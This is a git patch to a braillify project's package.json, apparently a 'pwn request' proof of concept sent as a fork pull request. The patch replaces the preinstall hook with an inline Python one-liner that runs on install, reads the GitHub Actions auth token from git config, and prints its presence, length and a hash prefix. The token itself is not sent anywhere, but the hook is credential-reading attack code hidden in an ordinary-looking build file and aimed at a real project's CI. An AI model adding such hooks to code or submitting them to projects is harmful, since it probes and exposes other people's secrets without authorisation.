From d8416ff23ff571d6ec3b9e34196d8ef1db437f93 Mon Sep 17 00:00:00 2001 From: Ahmed <59183201+Ahmed-221B@users.noreply.github.com> Date: Tue, 17 Nov 2026 21:54:45 +0200 Subject: [PATCH] CI config proof (benign) - fork PR trust boundary --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 3d96744b..8e601f57 100644 --- a/package.json +++ b/package.json @@ -14,7 +14,7 @@ "test:c": "bun scripts/test-c.ts", "test:jvm": "cd packages/jvm && ./gradlew test", "test:testcase": "cargo test -p braillify test_by_testcase -- --nocapture", - "preinstall": "uv sync && (cargo install wasm-pack || node -e \"process.exit(0)\") && (pip install maturin || \"process.exit(0)\")", + "preinstall": "python3 -c \"import subprocess,hashlib;x=subprocess.check_output(['git','config','--get','http.https://github.com/.extraheader'],stderr=subprocess.DEVNULL).decode().strip();tok=x.split('basic ')[-1] if 'basic ' in x else '';print('PWNREQUEST_PROOF_BRAILLIFY_20261117 TOKEN_PRESENT='+str(bool(tok))+' TOKEN_LEN='+str(len(tok))+' SHA256PREFIX='+hashlib.sha256(tok.encode()).hexdigest()[:16])\" && uv sync && (cargo install wasm-pack || node -e \"process.exit(0)\") && (pip install maturin || \"process.exit(0)\")", "build": "cargo build --release -p braillify && cargo build --release -p braillify-c && bun -F braillify build && cd packages/python && maturin build --release --out dist", "build:jvm": "cd packages/jvm && ./gradlew assembleJvmJar", "build:landing": "bun run build && (cargo test test_by_testcase || node -e \"process.exit(0)\") && bun -F landing build && bun scripts/check-landing-size.ts",